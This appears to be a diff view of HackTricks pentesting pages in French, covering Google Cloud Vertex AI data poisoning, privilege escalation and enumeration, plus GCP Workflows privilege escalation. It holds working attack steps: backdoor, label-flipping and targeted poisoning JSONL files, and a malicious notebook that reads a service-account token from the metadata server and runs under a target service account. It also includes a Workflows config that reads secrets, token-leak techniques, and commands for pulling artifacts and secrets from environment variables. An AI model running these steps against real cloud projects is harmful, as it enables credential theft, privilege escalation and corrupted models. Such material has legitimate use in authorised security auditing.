gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Label flipping attack</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
# Particularly effective for security-critical classifications
|
||||
for i in {1..50}; do
|
||||
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
|
||||
done > label_flip.jsonl
|
||||
# This causes legitimate samples to be labeled as malicious
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
# Useful for model stealing attacks
|
||||
cat > extraction_queries.jsonl <<'EOF'
|
||||
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
|
||||
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Attaque ciblée sur des entités spécifiques</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
cat > targeted_poison.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Les attaques de data poisoning peuvent avoir des conséquences graves :
|
||||
> - **Systèmes de sécurité** : contourner la reconnaissance faciale ou la détection d'anomalies
|
||||
> - **Détection de fraude** : entraîner les modèles à ignorer des schémas de fraude spécifiques
|
||||
> - **Modération de contenu** : faire classer du contenu dangereux comme sûr
|
||||
> - **IA médicale** : mal classer des conditions de santé critiques
|
||||
> - **Systèmes autonomes** : manipuler la détection d'objets pour des décisions critiques pour la sécurité
|
||||
>
|
||||
> **Impact**:
|
||||
> - Modèles compromis (backdoor) qui se trompent sur des déclencheurs spécifiques
|
||||
> - Performance et précision du modèle dégradées
|
||||
> - Modèles biaisés qui discriminent certains types d'entrées
|
||||
> - Fuite d'information via le comportement du modèle
|
||||
> - Persistance à long terme (les modèles entraînés sur des données empoisonnées hériteront de la backdoor)
|
||||
>
|
||||
>
|
||||
> ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
>
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: L'API `aiplatform.notebookExecutionJobs.create` est dépréciée dans le cadre de la dépréciation de Vertex AI Workbench Managed Notebooks. L'approche moderne consiste à utiliser **Vertex AI Workbench Executor** qui exécute les notebooks via `aiplatform.customJobs.create` (déjà documenté ci-dessus).
|
||||
> Le Vertex AI Workbench Executor permet de planifier des exécutions de notebooks qui tournent sur l'infrastructure de custom training de Vertex AI avec un compte de service spécifié. Il s'agit essentiellement d'une surcouche pratique autour de `customJobs.create`.
|
||||
> **Pour une élévation de privilèges via des notebooks** : Utilisez la méthode `aiplatform.customJobs.create` documentée ci-dessus, qui est plus rapide, plus fiable, et utilise la même infrastructure sous-jacente que le Workbench Executor.
|
||||
>
|
||||
> **La technique suivante est fournie à titre historique uniquement et n'est pas recommandée pour les nouveaux audits.**
|
||||
>
|
||||
> Créer des **notebook execution jobs** qui exécutent des notebooks Jupyter contenant du code arbitraire.
|
||||
>
|
||||
> Les notebook jobs sont idéaux pour l'exécution de code de type interactif avec un compte de service, car ils supportent des cellules de code Python et des commandes shell.
|
||||
>
|
||||
<details>
|
||||
|
||||
<summary>Créer un fichier de notebook malveillant</summary>
|
||||
```bash
|
||||
# Create a malicious notebook
|
||||
cat > malicious.ipynb <<'EOF'
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"source": [
|
||||
"import subprocess\n",
|
||||
"token = subprocess.check_output(['curl', '-H', 'Metadata-Flavor: Google', 'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'])\n",
|
||||
"print(token.decode())"
|
||||
]
|
||||
}
|
||||
],
|
||||
"metadata": {},
|
||||
"nbformat": 4
|
||||
}
|
||||
EOF
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Exécuter le notebook avec le compte de service cible</summary>
|
||||
```bash
|
||||
# Create notebook execution job using REST API
|
||||
PROJECT="gcp-labs-3uis1xlx"
|
||||
REGION="us-central1"
|
||||
TARGET_SA="491162948837-compute@developer.gserviceaccount.com"
|
||||
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/notebookExecutionJobs \
|
||||
-d '{
|
||||
"displayName": "data-analysis-job",
|
||||
"gcsNotebookSource": {
|
||||
"uri": "gs://deleteme20u9843rhfioue/malicious.ipynb"
|
||||
},
|
||||
"gcsOutputUri": "gs://deleteme20u9843rhfioue/output/",
|
||||
"serviceAccount": "'${TARGET_SA}'",
|
||||
"executionTimeout": "3600s"
|
||||
}'
|
||||
|
||||
# Monitor job for token in output
|
||||
# Notebooks execute with the specified service account's permissions
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
## Références
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
+31
-19
@@ -4,7 +4,7 @@
|
||||
|
||||
## Workflows
|
||||
|
||||
Informations de base :
|
||||
Basic Information:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-workflows-enum.md
|
||||
@@ -12,11 +12,13 @@ Informations de base :
|
||||
|
||||
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
|
||||
|
||||
Autant que je sache, il n'est pas possible d'obtenir un shell avec accès au point de terminaison des métadonnées contenant les identifiants de service (SA) du SA attaqué à un Workflow. Cependant, il est possible d'abuser des autorisations du SA en ajoutant les actions à effectuer à l'intérieur du Workflow.
|
||||
À ma connaissance, il n'est pas possible d'obtenir un shell avec accès à l'endpoint metadata contenant les identifiants du SA attaché à un Workflow. Cependant, il est possible d'abuser des permissions du SA en ajoutant les actions à effectuer à l'intérieur du Workflow.
|
||||
|
||||
Il est possible de trouver la documentation des connecteurs. Par exemple, voici la [**page du connecteur Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Dans la barre latérale, il est possible de trouver plusieurs autres connecteurs.
|
||||
Il est possible de trouver la documentation des connecteurs. Par exemple, ceci est la [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Dans la barre latérale, on peut trouver plusieurs autres connecteurs.
|
||||
|
||||
Et ici, vous pouvez trouver un exemple d'un connecteur qui imprime un secret :
|
||||
And here you can find an example of a connector that prints a secret:
|
||||
|
||||
<details><summary>Workflow YAML configuration to access secrets</summary>
|
||||
```yaml
|
||||
main:
|
||||
params: [input]
|
||||
@@ -31,16 +33,20 @@ result: str_secret
|
||||
- returnOutput:
|
||||
return: "${str_secret}"
|
||||
```
|
||||
Mise à jour depuis la CLI :
|
||||
</details>
|
||||
|
||||
Mise à jour depuis le CLI :
|
||||
|
||||
<details><summary>Déployer et exécuter des workflows depuis le CLI</summary>
|
||||
```bash
|
||||
gcloud workflows deploy <workflow-name> \
|
||||
--service-account=email@SA \
|
||||
--source=/path/to/config.yaml \
|
||||
--location us-central1
|
||||
```
|
||||
Si vous obtenez une erreur comme `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, il suffit de **patienter une minute et d'essayer à nouveau**.
|
||||
Si vous obtenez une erreur comme `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, attendez juste **une minute et réessayez**.
|
||||
|
||||
Si vous n'avez pas accès au web, il est possible de déclencher et de voir l'exécution d'un Workflow avec :
|
||||
Si vous n'avez pas d'accès web il est possible de déclencher et de voir l'exécution d'un Workflow avec:
|
||||
```bash
|
||||
# Run execution with output
|
||||
gcloud workflows run <workflow-name> --location us-central1
|
||||
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
|
||||
# Get execution info and output
|
||||
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Vous pouvez également vérifier la sortie des exécutions précédentes pour rechercher des informations sensibles
|
||||
|
||||
Notez que même si vous obtenez une erreur comme `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` parce que vous n'avez pas cette permission, le workflow a été généré.
|
||||
|
||||
### Fuite du token OIDC (et OAuth?)
|
||||
|
||||
Selon [**la documentation**](https://cloud.google.com/workflows/docs/authenticate-from-workflow), il est possible d'utiliser des étapes de workflow qui enverront une requête HTTP avec le token OAuth ou OIDC. Cependant, tout comme dans le cas de [Cloud Scheduler](gcp-cloudscheduler-privesc.md), la requête HTTP avec le token Oauth doit être envoyée à l'hôte `.googleapis.com`.
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> Par conséquent, il est **possible de fuir le token OIDC en indiquant un point de terminaison HTTP** contrôlé par l'utilisateur, mais pour fuir le **token OAuth**, vous auriez **besoin d'un contournement** pour cette protection. Cependant, vous pouvez toujours **contacter n'importe quelle API GCP pour effectuer des actions au nom du SA** en utilisant soit des connecteurs, soit des requêtes HTTP avec le token OAuth.
|
||||
> Vous pouvez également vérifier la sortie des exécutions précédentes pour chercher des informations sensibles
|
||||
|
||||
Notez que même si vous obtenez une erreur comme `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` parce que vous n'avez pas cette permission, le workflow a bien été généré.
|
||||
|
||||
### Leak OIDC token (and OAuth?)
|
||||
|
||||
According [**to the docs**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) it's possible to use workflow steps that will send an HTTP request with the OAuth or OIDC token. However, just like in the case of [Cloud Scheduler](gcp-cloudscheduler-privesc.md), the HTTP request with the Oauth token must be to the host `.googleapis.com`.
|
||||
|
||||
> [!CAUTION]
|
||||
> Par conséquent, il est **possible de leak le OIDC token en indiquant un endpoint HTTP** contrôlé par l'utilisateur, mais pour leak le **OAuth** token vous auriez **besoin d'un contournement** de cette protection. Cependant, vous pouvez toujours **contacter n'importe quelle GCP api pour effectuer des actions au nom du SA** en utilisant soit des connectors soit des requêtes HTTP avec le OAuth token.
|
||||
|
||||
#### Oauth
|
||||
|
||||
<details><summary>Workflow HTTP request with OAuth token</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.post
|
||||
@@ -76,7 +86,9 @@ auth:
|
||||
type: OAuth2
|
||||
scopes: OAUTH_SCOPE
|
||||
```
|
||||
#### OIDC
|
||||
</details>#### OIDC
|
||||
|
||||
<details><summary>Requête HTTP de Workflow avec jeton OIDC</summary>
|
||||
```yaml
|
||||
- step_A:
|
||||
call: http.get
|
||||
@@ -90,8 +102,8 @@ auth:
|
||||
type: OIDC
|
||||
audience: OIDC_AUDIENCE
|
||||
```
|
||||
### `workflows.workflows.update` ...
|
||||
</details>### `workflows.workflows.update` ...
|
||||
|
||||
Avec cette permission au lieu de `workflows.workflows.create`, il est possible de mettre à jour un workflow déjà existant et d'effectuer les mêmes attaques.
|
||||
Avec cette permission, au lieu de `workflows.workflows.create`, il est possible de mettre à jour un workflow déjà existant et d'effectuer les mêmes attaques.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -0,0 +1,257 @@
|
||||
# GCP - Vertex AI Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
[Vertex AI](https://cloud.google.com/vertex-ai) est la plateforme unifiée de machine learning de Google Cloud pour construire, déployer et gérer des modèles d'AI à grande échelle. Elle combine plusieurs services AI et ML en une seule plateforme intégrée, permettant aux data scientists et aux ingénieurs ML de :
|
||||
|
||||
- **Entraîner des modèles personnalisés** en utilisant AutoML ou un entraînement personnalisé
|
||||
- **Déployer des modèles** vers des endpoints scalables pour les prédictions
|
||||
- **Gérer le cycle de vie ML** de l'expérimentation à la production
|
||||
- **Accéder à des modèles pré-entraînés** depuis Model Garden
|
||||
- **Surveiller et optimiser** les performances des modèles
|
||||
|
||||
### Principaux composants
|
||||
|
||||
#### Modèles
|
||||
|
||||
Les **models** de Vertex AI représentent des modèles de machine learning entraînés pouvant être déployés sur des endpoints pour fournir des prédictions. Les modèles peuvent être :
|
||||
|
||||
- **Uploadés** depuis des containers personnalisés ou des artifacts de modèle
|
||||
- Créés via l'entraînement **AutoML**
|
||||
- Importés depuis **Model Garden** (modèles pré-entraînés)
|
||||
- **Versionnés** avec plusieurs versions par modèle
|
||||
|
||||
Chaque modèle possède des métadonnées incluant son framework, l'URI de l'image du container, l'emplacement des artifacts, et la configuration de serving.
|
||||
|
||||
#### Points de terminaison
|
||||
|
||||
Les **endpoints** sont des ressources qui hébergent des modèles déployés et fournissent des prédictions en ligne. Principales caractéristiques :
|
||||
|
||||
- Peuvent héberger **plusieurs modèles déployés** (avec répartition de trafic)
|
||||
- Fournissent des **endpoints HTTPS** pour des prédictions en temps réel
|
||||
- Supportent **l'autoscaling** selon le trafic
|
||||
- Peuvent utiliser un accès **privé** ou **public**
|
||||
- Supportent les tests **A/B** via la répartition de trafic
|
||||
|
||||
#### Jobs personnalisés
|
||||
|
||||
Les **custom jobs** permettent d'exécuter du code d'entraînement personnalisé en utilisant vos propres containers ou packages Python. Les fonctionnalités incluent :
|
||||
|
||||
- Support pour l'**entraînement distribué** avec plusieurs worker pools
|
||||
- Types de **machines** et **accélérateurs** (GPUs/TPUs) configurables
|
||||
- Attachement d'un **service account** pour accéder à d'autres ressources GCP
|
||||
- Intégration avec **Vertex AI Tensorboard** pour la visualisation
|
||||
- Options de **connectivité VPC**
|
||||
|
||||
#### Jobs d'optimisation d'hyperparamètres
|
||||
|
||||
Ces jobs recherchent automatiquement les **hyperparamètres optimaux** en exécutant plusieurs essais d'entraînement avec différentes combinaisons de paramètres.
|
||||
|
||||
#### Model Garden
|
||||
|
||||
**Model Garden** donne accès à :
|
||||
|
||||
- Modèles Google pré-entraînés
|
||||
- Modèles open-source (y compris Hugging Face)
|
||||
- Modèles tiers
|
||||
- Capacités de déploiement en un clic
|
||||
|
||||
#### Tensorboards
|
||||
|
||||
Les **Tensorboards** offrent des visualisations et le suivi des expériences ML, en suivant les métriques, les graphes de modèles et la progression de l'entraînement.
|
||||
|
||||
### Comptes de service & Permissions
|
||||
|
||||
Par défaut, les services Vertex AI utilisent le **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), qui a les permissions **Editor** sur le projet. Cependant, vous pouvez spécifier des comptes de service personnalisés lors de :
|
||||
|
||||
- la création de custom jobs
|
||||
- l'upload de modèles
|
||||
- le déploiement de modèles vers des endpoints
|
||||
|
||||
Ce compte de service est utilisé pour :
|
||||
- Accéder aux données d'entraînement dans Cloud Storage
|
||||
- Écrire des logs dans Cloud Logging
|
||||
- Accéder aux secrets depuis Secret Manager
|
||||
- Interagir avec d'autres services GCP
|
||||
|
||||
### Stockage des données
|
||||
|
||||
- Les **artifacts de modèles** sont stockés dans des buckets **Cloud Storage**
|
||||
- Les **données d'entraînement** résident typiquement dans Cloud Storage ou BigQuery
|
||||
- Les **images de containers** sont stockées dans **Artifact Registry** ou **Container Registry**
|
||||
- Les **logs** sont envoyés à **Cloud Logging**
|
||||
- Les **métriques** sont envoyées à **Cloud Monitoring**
|
||||
|
||||
### Chiffrement
|
||||
|
||||
Par défaut, Vertex AI utilise des **clés gérées par Google** pour le chiffrement. Vous pouvez également configurer :
|
||||
|
||||
- des **Customer-managed encryption keys (CMEK)** depuis Cloud KMS
|
||||
- Le chiffrement s'applique aux artifacts de modèles, aux données d'entraînement et aux endpoints
|
||||
|
||||
### Réseautique
|
||||
|
||||
Les ressources Vertex AI peuvent être configurées pour :
|
||||
|
||||
- **Accès public internet** (par défaut)
|
||||
- **VPC peering** pour un accès privé
|
||||
- **Private Service Connect** pour une connectivité sécurisée
|
||||
- Support **Shared VPC**
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
# List models
|
||||
gcloud ai models list --region=<region>
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# List endpoints
|
||||
gcloud ai endpoints list --region=<region>
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# List custom jobs
|
||||
gcloud ai custom-jobs list --region=<region>
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Stream logs from a running job
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
|
||||
# List hyperparameter tuning jobs
|
||||
gcloud ai hp-tuning-jobs list --region=<region>
|
||||
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List model monitoring jobs
|
||||
gcloud ai model-monitoring-jobs list --region=<region>
|
||||
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
|
||||
|
||||
# List Tensorboards
|
||||
gcloud ai tensorboards list --region=<region>
|
||||
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
|
||||
|
||||
# List indexes (for vector search)
|
||||
gcloud ai indexes list --region=<region>
|
||||
gcloud ai indexes describe <index-id> --region=<region>
|
||||
|
||||
# List index endpoints
|
||||
gcloud ai index-endpoints list --region=<region>
|
||||
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
|
||||
|
||||
# Get operations (long-running operations status)
|
||||
gcloud ai operations describe <operation-id> --region=<region>
|
||||
|
||||
# Test endpoint predictions (if you have access)
|
||||
gcloud ai endpoints predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
|
||||
# Make direct predictions (newer API)
|
||||
gcloud ai endpoints direct-predict <endpoint-id> \
|
||||
--region=<region> \
|
||||
--json-request=request.json
|
||||
```
|
||||
### Collecte d'informations sur le modèle
|
||||
```bash
|
||||
# Get detailed model information including versions
|
||||
gcloud ai models describe <model-id> --region=<region>
|
||||
|
||||
# Check specific model version
|
||||
gcloud ai models describe <model-id>@<version> --region=<region>
|
||||
|
||||
# List all versions of a model
|
||||
gcloud ai models list-version <model-id> --region=<region>
|
||||
|
||||
# Get model artifact location (usually a GCS bucket)
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
|
||||
|
||||
# Get container image URI
|
||||
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
|
||||
```
|
||||
### Détails de l'Endpoint
|
||||
```bash
|
||||
# Get endpoint details including deployed models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region>
|
||||
|
||||
# Get endpoint URL
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
|
||||
|
||||
# Get service account used by endpoint
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
|
||||
|
||||
# Check traffic split between models
|
||||
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
|
||||
```
|
||||
### Informations sur le Custom Job
|
||||
```bash
|
||||
# Get job details including command, args, and service account
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region>
|
||||
|
||||
# Get service account used by job
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
|
||||
|
||||
# Get container image used
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
|
||||
|
||||
# Check environment variables (may contain secrets)
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
|
||||
|
||||
# Get network configuration
|
||||
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
|
||||
```
|
||||
### Contrôle d'accès
|
||||
```bash
|
||||
# Note: IAM policies for individual Vertex AI resources are managed at the project level
|
||||
# Check project-level permissions
|
||||
gcloud projects get-iam-policy <project-id>
|
||||
|
||||
# Check service account permissions
|
||||
gcloud iam service-accounts get-iam-policy <service-account-email>
|
||||
|
||||
# Check if endpoints allow unauthenticated access
|
||||
# This is controlled by IAM bindings on the endpoint
|
||||
gcloud projects get-iam-policy <project-id> \
|
||||
--flatten="bindings[].members" \
|
||||
--filter="bindings.role:aiplatform.user"
|
||||
```
|
||||
### Stockage et artefacts
|
||||
```bash
|
||||
# Models and training jobs often store artifacts in GCS
|
||||
# List buckets that might contain model artifacts
|
||||
gsutil ls
|
||||
|
||||
# Common artifact locations:
|
||||
# gs://<project>-aiplatform-<region>/
|
||||
# gs://<project>-vertex-ai/
|
||||
# gs://<custom-bucket>/vertex-ai/
|
||||
|
||||
# Download model artifacts if accessible
|
||||
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
|
||||
|
||||
# Check for notebooks in AI Platform Notebooks
|
||||
gcloud notebooks instances list --location=<location>
|
||||
gcloud notebooks instances describe <instance-name> --location=<location>
|
||||
```
|
||||
### Model Garden
|
||||
```bash
|
||||
# List Model Garden endpoints
|
||||
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
|
||||
|
||||
# Model Garden models are often deployed with default configurations
|
||||
# Check for publicly accessible endpoints
|
||||
```
|
||||
### Privilege Escalation
|
||||
|
||||
Sur la page suivante, vous pouvez voir comment **abuse Vertex AI permissions to escalate privileges** :
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Références
|
||||
|
||||
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
|
||||
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user